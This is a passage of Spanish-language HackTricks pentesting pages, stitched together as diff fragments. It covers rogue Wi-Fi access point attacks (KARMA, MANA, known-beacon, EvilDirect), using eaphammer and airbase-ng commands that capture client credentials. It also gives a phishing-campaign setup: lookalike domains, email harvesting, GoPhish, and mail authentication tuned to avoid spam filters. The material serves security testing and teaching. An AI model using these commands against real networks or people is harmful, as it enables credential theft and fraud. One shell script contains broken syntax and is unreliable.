Ahora o más tarde (cuando ya hayas capturado algunos intentos de autenticación) puedes agregar la clave privada RSA a wireshark en: `Editar --> Preferencias --> Protocolos --> TLS --> (Lista de claves RSA) Editar...`
|
||||
|
||||
Agrega una nueva entrada y completa el formulario con estos valores: **Dirección IP = cualquier** -- **Puerto = 0** -- **Protocolo = datos** -- **Archivo de clave** (**selecciona tu archivo de clave**, para evitar problemas selecciona un archivo de clave **sin protección de contraseña**).
|
||||
|
||||
.png>)
|
||||
|
||||
Y mira la nueva pestaña de **"TLS descifrado"**:
|
||||
|
||||
.png>)
|
||||
|
||||
## Ataque KARMA, MANA, Loud MANA y Beacons conocidos
|
||||
|
||||
### Listas negras/blancas de ESSID y MAC
|
||||
|
||||
La siguiente tabla enumera los diferentes tipos de MFACLs (Listas de control de acceso de marcos de gestión) disponibles, así como sus efectos cuando se utilizan:
|
||||
|
||||
.png>)
|
||||
```
|
||||
# example EAPHammer MFACL file, wildcards can be used
|
||||
78:f0:97:fc:b5:36
|
||||
9a:35:e1:01:4f:cf
|
||||
69:19:14:60:20:45
|
||||
ce:52:b8:*:*:*
|
||||
|
||||
[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
|
||||
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
|
||||
```
|
||||
|
||||
```
|
||||
# example ESSID-based MFACL file
|
||||
apples
|
||||
oranges
|
||||
grapes
|
||||
pears
|
||||
|
||||
[--ssid-whitelist /path/to/mac/whitelist/file.txt]
|
||||
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
|
||||
```
|
||||
### KARMA
|
||||
|
||||
Los ataques Karma son una segunda forma de ataque de punto de acceso falso que explota el proceso de selección de red utilizado por las estaciones. En un documento técnico escrito en 2005, Dino Dai Zovi y Shane Macaulay describen cómo un atacante puede configurar un punto de acceso para escuchar solicitudes de sondeo dirigidas y responder a todas ellas con respuestas de sondeo dirigidas coincidentes. Esto hace que las estaciones afectadas envíen automáticamente una solicitud de asociación al punto de acceso del atacante. El punto de acceso luego responde con una respuesta de asociación, lo que hace que las estaciones afectadas se conecten al atacante.
|
||||
|
||||
### MANA
|
||||
|
||||
Según Ian de Villiers y Dominic White, las estaciones modernas están diseñadas para protegerse contra los ataques Karma ignorando las respuestas de sondeo dirigidas de los puntos de acceso que aún no han respondido al menos a una solicitud de sondeo de difusión. Esto llevó a una disminución significativa en el número de estaciones que eran vulnerables a los ataques Karma hasta 2015, cuando White y de Villiers desarrollaron un medio para evitar tales protecciones. En el ataque Karma mejorado de White y de Villiers (ataque MANA), se utilizan respuestas de sondeo dirigidas para reconstruir las PNL de las estaciones cercanas. Cuando se recibe una solicitud de sondeo de difusión de una estación, el punto de acceso del atacante responde con un SSID arbitrario de la PNL de la estación que ya se vio en un sondeo directo desde ese dispositivo.
|
||||
|
||||
En resumen, el algoritmo MANA funciona así: cada vez que el punto de acceso recibe una solicitud de sondeo, primero determina si es una solicitud de sondeo de difusión o dirigida. Si es una solicitud de sondeo dirigida, la dirección MAC del remitente se agrega a la tabla hash (si aún no está allí) y el ESSID se agrega a la PNL de ese dispositivo. El punto de acceso luego responde con una respuesta de sondeo dirigida. Si es una solicitud de sondeo de difusión, el punto de acceso responde con respuestas de sondeo para cada una de las redes en la PNL de ese dispositivo.
|
||||
|
||||
Ataque MANA usando eaphammer:
|
||||
```
|
||||
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
### Ataque Loud MANA
|
||||
|
||||
Cabe destacar que el ataque MANA estándar todavía no nos permite atacar dispositivos que no utilizan la sonda dirigida en absoluto. Por lo tanto, si tampoco conocemos previamente ninguna entrada dentro del PNL del dispositivo, necesitamos encontrar alguna otra forma de atacarlo.
|
||||
|
||||
Una posibilidad es lo que se llama ataque Loud MANA. Este ataque se basa en la idea de que los dispositivos clientes en proximidad física cercana entre sí probablemente tengan al menos algunas entradas comunes en sus PNL.
|
||||
|
||||
En resumen, el ataque Loud MANA, en lugar de responder a las solicitudes de sonda con cada ESSID en el PNL de un dispositivo en particular, el AP malintencionado envía respuestas de sonda para cada ESSID en cada PNL de todos los dispositivos que ha visto antes. Relacionando esto con la teoría de conjuntos, podemos decir que el AP envía respuestas de sonda para cada ESSID en la unión de todos los PNL de los dispositivos cercanos.
|
||||
```
|
||||
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
### Ataque de Beacon Conocido
|
||||
|
||||
Todavía hay casos en los que el ataque Loud MANA no tendrá éxito.\
|
||||
El ataque de Beacon Conocido es una forma de "Fuerza Bruta" de ESSIDs para intentar que la víctima se conecte al atacante. El atacante crea un AP que responde a cualquier ESSID y ejecuta algún código enviando beacons falsificando ESSIDs de cada nombre dentro de una lista de palabras. Con suerte, la víctima contendrá algunos de estos nombres de ESSID dentro de su PNL y tratará de conectarse al AP falso.\
|
||||
Eaphammer implementó este ataque como un ataque MANA donde se cargan todos los ESSIDs dentro de una lista (también se puede combinar esto con `--loud` para crear un ataque Loud MANA + Beacon Conocido):
|
||||
```
|
||||
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
**Ataque de ráfaga de balizas conocidas**
|
||||
|
||||
Como las balizas conocidas son ruidosas, puedes usar un script dentro del proyecto Eaphammer para lanzar ráfagas de balizas de cada nombre de ESSID dentro de un archivo muy rápidamente. Si combinas este script con un ataque MANA de Eaphammer, los clientes podrán conectarse a tu AP.
|
||||
```
|
||||
# transmit a burst of 5 forged beacon packets for each entry in list
|
||||
./forge-beacons -i wlan1 \
|
||||
--bssid de:ad:be:ef:13:37 \
|
||||
--known-essids-file known-s.txt \
|
||||
--dst-addr 11:22:33:11:22:33 \
|
||||
--burst-count 5
|
||||
```
|
||||
## Wi-Fi Direct
|
||||
|
||||
Wi-Fi Direct es un estándar de Wi-Fi que permite que los dispositivos se conecten entre sí sin un punto de acceso inalámbrico, ya que uno de los dos dispositivos actuará como AP (llamado propietario del grupo). Puedes encontrar Wi-Fi Direct en muchos dispositivos IoT como impresoras, televisores...
|
||||
|
||||
Wi-Fi Direct se basa en Wi-Fi Protected Setup (**WPS**) para conectar los dispositivos de forma segura. WPS tiene varios métodos de configuración como la **Configuración de botón de presión** (PBC), la **entrada de PIN**, y la **Comunicación de campo cercano** (NFC).
|
||||
|
||||
Por lo tanto, los ataques previamente vistos al PIN de WPS también son válidos aquí si se utiliza el PIN.
|
||||
|
||||
### Secuestro de EvilDirect
|
||||
|
||||
Esto funciona como un Evil-Twin pero para Wi-Fi directo, puedes hacerse pasar por un propietario de grupo para intentar hacer que otros dispositivos como teléfonos se conecten a ti: `airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0`
|
||||
|
||||
## Referencias
|
||||
|
||||
* [https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee](https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee)
|
||||
* [https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9](https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9)
|
||||
* [https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38](https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38)
|
||||
* [https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d](https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d)
|
||||
* [https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf](https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf)
|
||||
* [http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
|
||||
* [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
|
||||
* [https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d](https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d)
|
||||
|
||||
TODO: Echa un vistazo a [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (inicio de sesión con Facebook e imitación de WPA en portales cautivos)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
|
||||
|
||||
🐞 Lee tutoriales de errores web3
|
||||
|
||||
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
|
||||
|
||||
💬 Participa en discusiones comunitarias
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
|
||||
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
@ -1,10 +0,0 @@
|
|||
# Evil Twin EAP-TLS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete
|
||||
|
|
@ -1,458 +0,0 @@
|
|||
# Metodología de Phishing
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Metodología
|
||||
|
||||
1. Reconocimiento de la víctima
|
||||
1. Selecciona el **dominio de la víctima**.
|
||||
2. Realiza una enumeración web básica **buscando portales de inicio de sesión** utilizados por la víctima y **decide** cuál vas a **suplantar**.
|
||||
3. Usa algunas **herramientas de OSINT** para **encontrar correos electrónicos**.
|
||||
2. Prepara el entorno
|
||||
1. **Compra el dominio** que vas a utilizar para la evaluación de phishing.
|
||||
2. **Configura el servicio de correo electrónico** relacionado con los registros (SPF, DMARC, DKIM, rDNS)
|
||||
3. Configura el VPS con **gophish**
|
||||
3. Prepara la campaña
|
||||
1. Prepara la **plantilla de correo electrónico**
|
||||
2. Prepara la **página web** para robar las credenciales
|
||||
4. ¡Lanza la campaña!
|
||||
|
||||
## Generar nombres de dominio similares o comprar un dominio de confianza
|
||||
|
||||
### Técnicas de variación de nombres de dominio
|
||||
|
||||
* **Palabra clave**: El nombre de dominio **contiene** una **palabra clave** importante del dominio original (por ejemplo, zelster.com-management.com).
|
||||
* **Subdominio con guión**: Cambia el **punto por un guión** de un subdominio (por ejemplo, www-zelster.com).
|
||||
* **Nuevo TLD**: Mismo dominio utilizando un **nuevo TLD** (por ejemplo, zelster.org)
|
||||
* **Homógrafo**: Se **reemplaza** una letra en el nombre de dominio con **letras que se parecen** (por ejemplo, zelfser.com).
|
||||
* **Transposición:** Se **intercambian dos letras** dentro del nombre de dominio (por ejemplo, zelster.com).
|
||||
* **Singularización/Pluralización**: Agrega o elimina "s" al final del nombre de dominio (por ejemplo, zeltsers.com).
|
||||
* **Omisión**: Se **elimina una** de las letras del nombre de dominio (por ejemplo, zelser.com).
|
||||
* **Repetición**: Se **repite una** de las letras del nombre de dominio (por ejemplo, zeltsser.com).
|
||||
* **Reemplazo**: Como homógrafo pero menos sigiloso. Se reemplaza una de las letras del nombre de dominio, tal vez con una letra en proximidad de la letra original en el teclado (por ejemplo, zektser.com).
|
||||
* **Subdominado**: Introduce un **punto** dentro del nombre de dominio (por ejemplo, ze.lster.com).
|
||||
* **Inserción**: Se **inserta una letra** en el nombre de dominio (por ejemplo, zerltser.com).
|
||||
* **Punto faltante**: Agrega el TLD al nombre de dominio. (por ejemplo, zelstercom.com)
|
||||
|
||||
**Herramientas automáticas**
|
||||
|
||||
* [**dnstwist**](https://github.com/elceef/dnstwist)
|
||||
* [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)
|
||||
|
||||
**Sitios web**
|
||||
|
||||
* [https://dnstwist.it/](https://dnstwist.it)
|
||||
* [https://dnstwister.report/](https://dnstwister.report)
|
||||
* [https://www.internetmarketingninjas.com/tools/free-tools/domain-typo-generator/](https://www.internetmarketingninjas.com/tools/free-tools/domain-typo-generator/)
|
||||
|
||||
### Bitflipping
|
||||
|
||||
En el mundo de la informática, todo se almacena en bits (ceros y unos) en la memoria detrás de escena.\
|
||||
Esto también se aplica a los dominios. Por ejemplo, _windows.com_ se convierte en _01110111..._ en la memoria volátil de su dispositivo informático.\
|
||||
Sin embargo, ¿qué sucede si uno de estos bits se invierte automáticamente debido a una llamarada solar, rayos cósmicos o un error de hardware? Es decir, uno de los 0 se convierte en 1 y viceversa.\
|
||||
Aplicando este concepto a la solicitud DNS, es posible que el **dominio solicitado** que llega al servidor DNS **no sea el mismo que el dominio solicitado inicialmente**.
|
||||
|
||||
Por ejemplo, una modificación de 1 bit en el dominio windows.com puede transformarlo en _windnws.com._\
|
||||
**Los atacantes pueden registrar tantos dominios de bit-flipping como sea posible relacionados con la víctima para redirigir a los usuarios legítimos a su infraestructura**.
|
||||
|
||||
Para obtener más información, lea [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
|
||||
|
||||
### Compra un dominio de confianza
|
||||
|
||||
Puedes buscar en [https://www.expireddomains.net/](https://www.expireddomains.net) un dominio caducado que puedas utilizar.\
|
||||
Para asegurarte de que el dominio caducado que vas a comprar **ya tiene un buen SEO**, puedes buscar cómo se categoriza en:
|
||||
|
||||
* [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter)
|
||||
* [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/)
|
||||
|
||||
## Descubriendo correos electrónicos
|
||||
|
||||
* [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% gratis)
|
||||
* [https://phonebook.cz/](https://phonebook.cz) (100% gratis)
|
||||
* [https://maildb.io/](https://maildb.io)
|
||||
* [https://hunter.io/](https://hunter.io)
|
||||
* [https://anymailfinder.com/](https://anymailfinder.com)
|
||||
|
||||
Para **descubrir más** direcciones de correo electrónico válidas o **verificar las que** ya has descubierto, puedes comprobar si puedes hacer fuerza bruta en los servidores SMTP de la víctima. [Aprende cómo verificar/descubrir direcciones de correo electrónico aquí](../../network-services-pentesting/pentesting-smtp/#username-bruteforce-enumeration).\
|
||||
Además, no olvides que si los usuarios usan **cualquier portal web para acceder a sus correos electrónicos**, puedes comprobar si es vulnerable a la **fuerza bruta de nombres de usuario**, y explotar la vulnerabilidad si es posible.
|
||||
|
||||
## Configurando GoPhish
|
||||
|
||||
### Instalación
|
||||
|
||||
Puedes descargarlo desde [https://
|
||||
```bash
|
||||
ssh -L 3333:127.0.0.1:3333 <user>@<ip>
|
||||
```
|
||||
### Configuración
|
||||
|
||||
**Configuración del certificado TLS**
|
||||
|
||||
Antes de este paso, **deberías haber comprado el dominio** que vas a utilizar y debe estar **apuntando** a la **IP del VPS** donde estás configurando **gophish**.
|
||||
```bash
|
||||
DOMAIN="<domain>"
|
||||
wget https://dl.eff.org/certbot-auto
|
||||
chmod +x certbot-auto
|
||||
sudo apt install snapd
|
||||
sudo snap install core
|
||||
sudo snap refresh core
|
||||
sudo apt-get remove certbot
|
||||
sudo snap install --classic certbot
|
||||
sudo ln -s /snap/bin/certbot /usr/bin/certbot
|
||||
certbot certonly --standalone -d "$DOMAIN"
|
||||
mkdir /opt/gophish/ssl_keys
|
||||
cp "/etc/letsencrypt/live/$DOMAIN/privkey.pem" /opt/gophish/ssl_keys/key.pem
|
||||
cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt
|
||||
```
|
||||
**Configuración de correo**
|
||||
|
||||
Comience instalando: `apt-get install postfix`
|
||||
|
||||
Luego agregue el dominio a los siguientes archivos:
|
||||
|
||||
* **/etc/postfix/virtual\_domains**
|
||||
* **/etc/postfix/transport**
|
||||
* **/etc/postfix/virtual\_regexp**
|
||||
|
||||
**Cambie también los valores de las siguientes variables dentro de /etc/postfix/main.cf**
|
||||
|
||||
`myhostname = <domain>`\
|
||||
`mydestination = $myhostname, <domain>, localhost.com, localhost`
|
||||
|
||||
Finalmente, modifique los archivos **`/etc/hostname`** y **`/etc/mailname`** con el nombre de su dominio y **reinicie su VPS.**
|
||||
|
||||
Ahora, cree un **registro A de DNS** de `mail.<domain>` apuntando a la **dirección IP** del VPS y un **registro MX de DNS** apuntando a `mail.<domain>`
|
||||
|
||||
Ahora probemos enviar un correo electrónico:
|
||||
```bash
|
||||
apt install mailutils
|
||||
echo "This is the body of the email" | mail -s "This is the subject line" test@email.com
|
||||
```
|
||||
**Configuración de Gophish**
|
||||
|
||||
Detenga la ejecución de Gophish y configuremoslo.\
|
||||
Modifique `/opt/gophish/config.json` al siguiente (note el uso de https):
|
||||
```bash
|
||||
{
|
||||
"admin_server": {
|
||||
"listen_url": "127.0.0.1:3333",
|
||||
"use_tls": true,
|
||||
"cert_path": "gophish_admin.crt",
|
||||
"key_path": "gophish_admin.key"
|
||||
},
|
||||
"phish_server": {
|
||||
"listen_url": "0.0.0.0:443",
|
||||
"use_tls": true,
|
||||
"cert_path": "/opt/gophish/ssl_keys/key.crt",
|
||||
"key_path": "/opt/gophish/ssl_keys/key.pem"
|
||||
},
|
||||
"db_name": "sqlite3",
|
||||
"db_path": "gophish.db",
|
||||
"migrations_prefix": "db/db_",
|
||||
"contact_address": "",
|
||||
"logging": {
|
||||
"filename": "",
|
||||
"level": ""
|
||||
}
|
||||
}
|
||||
```
|
||||
**Configurar el servicio de gophish**
|
||||
|
||||
Para crear el servicio de gophish y que se pueda iniciar automáticamente y gestionar como un servicio, puedes crear el archivo `/etc/init.d/gophish` con el siguiente contenido:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
# /etc/init.d/gophish
|
||||
# initialization file for stop/start of gophish application server
|
||||
#
|
||||
# chkconfig: - 64 36
|
||||
# description: stops/starts gophish application server
|
||||
# processname:gophish
|
||||
# config:/opt/gophish/config.json
|
||||
# From https://github.com/gophish/gophish/issues/586
|
||||
|
||||
# define script variables
|
||||
|
||||
processName=Gophish
|
||||
process=gophish
|
||||
appDirectory=/opt/gophish
|
||||
logfile=/var/log/gophish/gophish.log
|
||||
errfile=/var/log/gophish/gophish.error
|
||||
|
||||
start() {
|
||||
echo 'Starting '${processName}'...'
|
||||
cd ${appDirectory}
|
||||
nohup ./$process >>$logfile 2>>$errfile &
|
||||
sleep 1
|
||||
}
|
||||
|
||||
stop() {
|
||||
echo 'Stopping '${processName}'...'
|
||||
pid=$(/bin/pidof ${process})
|
||||
kill ${pid}
|
||||
sleep 1
|
||||
}
|
||||
|
||||
status() {
|
||||
pid=$(/bin/pidof ${process})
|
||||
if [["$pid" != ""| "$pid" != "" ]]; then
|
||||
echo ${processName}' is running...'
|
||||
else
|
||||
echo ${processName}' is not running...'
|
||||
fi
|
||||
}
|
||||
|
||||
case $1 in
|
||||
start|stop|status) "$1" ;;
|
||||
esac
|
||||
```
|
||||
Finaliza la configuración del servicio y comprueba que funciona haciendo:
|
||||
```bash
|
||||
mkdir /var/log/gophish
|
||||
chmod +x /etc/init.d/gophish
|
||||
update-rc.d gophish defaults
|
||||
#Check the service
|
||||
service gophish start
|
||||
service gophish status
|
||||
ss -l | grep "3333\|443"
|
||||
service gophish stop
|
||||
```
|
||||
## Configuración del servidor de correo y del dominio
|
||||
|
||||
### Esperar
|
||||
|
||||
Cuanto más antiguo sea un dominio, menos probable es que sea detectado como spam. Por lo tanto, debes esperar tanto tiempo como sea posible (al menos 1 semana) antes de la evaluación de phishing.\
|
||||
Ten en cuenta que aunque tengas que esperar una semana, puedes terminar de configurar todo ahora.
|
||||
|
||||
### Configurar el registro de DNS inverso (rDNS)
|
||||
|
||||
Establece un registro de rDNS (PTR) que resuelva la dirección IP del VPS al nombre de dominio.
|
||||
|
||||
### Registro de directivas de remitente (SPF)
|
||||
|
||||
Debes **configurar un registro SPF para el nuevo dominio**. Si no sabes qué es un registro SPF, [**lee esta página**](../../network-services-pentesting/pentesting-smtp/#spf).
|
||||
|
||||
Puedes utilizar [https://www.spfwizard.net/](https://www.spfwizard.net) para generar tu política SPF (utiliza la IP de la máquina VPS)
|
||||
|
||||
.png>)
|
||||
|
||||
Este es el contenido que debe establecerse dentro de un registro TXT dentro del dominio:
|
||||
```bash
|
||||
v=spf1 mx a ip4:ip.ip.ip.ip ?all
|
||||
```
|
||||
### Registro de Autenticación, Informes y Conformidad de Mensajes basados en Dominios (DMARC)
|
||||
|
||||
Debe **configurar un registro DMARC para el nuevo dominio**. Si no sabe qué es un registro DMARC, [**lea esta página**](../../network-services-pentesting/pentesting-smtp/#dmarc).
|
||||
|
||||
Debe crear un nuevo registro DNS TXT que apunte al nombre de host `_dmarc.<dominio>` con el siguiente contenido:
|
||||
```bash
|
||||
v=DMARC1; p=none
|
||||
```
|
||||
### DomainKeys Identified Mail (DKIM)
|
||||
|
||||
Debes **configurar un DKIM para el nuevo dominio**. Si no sabes qué es un registro DMARC, [**lee esta página**](../../network-services-pentesting/pentesting-smtp/#dkim).
|
||||
|
||||
Este tutorial se basa en: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
|
||||
|
||||
{% hint style="info" %}
|
||||
Debes concatenar ambos valores B64 que genera la clave DKIM:
|
||||
```
|
||||
v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB
|
||||
```
|
||||
{% endhint %}
|
||||
|
||||
### Prueba la puntuación de configuración de tu correo electrónico
|
||||
|
||||
Puedes hacerlo utilizando [https://www.mail-tester.com/](https://www.mail-tester.com)\
|
||||
Simplemente accede a la página y envía un correo electrónico a la dirección que te proporcionan:
|
||||
```bash
|
||||
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
|
||||
```
|
||||
También puedes **verificar la configuración de tu correo electrónico** enviando un correo electrónico a `check-auth@verifier.port25.com` y **leyendo la respuesta** (para esto necesitarás **abrir** el puerto **25** y ver la respuesta en el archivo _/var/mail/root_ si envías el correo como root).\
|
||||
Asegúrate de pasar todas las pruebas:
|
||||
```bash
|
||||
==========================================================
|
||||
Summary of Results
|
||||
==========================================================
|
||||
SPF check: pass
|
||||
DomainKeys check: neutral
|
||||
DKIM check: pass
|
||||
Sender-ID check: pass
|
||||
SpamAssassin check: ham
|
||||
```
|
||||
Alternativamente, puedes enviar un **mensaje a una dirección de Gmail que controles**, **ver** las **cabeceras del correo electrónico** recibido en tu bandeja de entrada de Gmail, `dkim=pass` debería estar presente en el campo de cabecera `Authentication-Results`.
|
||||
```
|
||||
Authentication-Results: mx.google.com;
|
||||
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
|
||||
dkim=pass header.i=@example.com;
|
||||
```
|
||||
### Eliminación de la lista negra de Spamhouse
|
||||
|
||||
La página www.mail-tester.com puede indicarte si tu dominio está siendo bloqueado por Spamhouse. Puedes solicitar que se elimine tu dominio/IP en: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
|
||||
|
||||
### Eliminación de la lista negra de Microsoft
|
||||
|
||||
Puedes solicitar que se elimine tu dominio/IP en [https://sender.office.com/](https://sender.office.com).
|
||||
|
||||
## Crear y lanzar una campaña de GoPhish
|
||||
|
||||
### Perfil de envío
|
||||
|
||||
* Establece algún **nombre para identificar** el perfil del remitente
|
||||
* Decide desde qué cuenta vas a enviar los correos electrónicos de phishing. Sugerencias: _noreply, support, servicedesk, salesforce..._
|
||||
* Puedes dejar en blanco el nombre de usuario y la contraseña, pero asegúrate de marcar la opción Ignorar errores de certificado
|
||||
|
||||
 (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (11).png>)
|
||||
|
||||
{% hint style="info" %}
|
||||
Se recomienda utilizar la funcionalidad "**Enviar correo electrónico de prueba**" para comprobar que todo funciona correctamente.\
|
||||
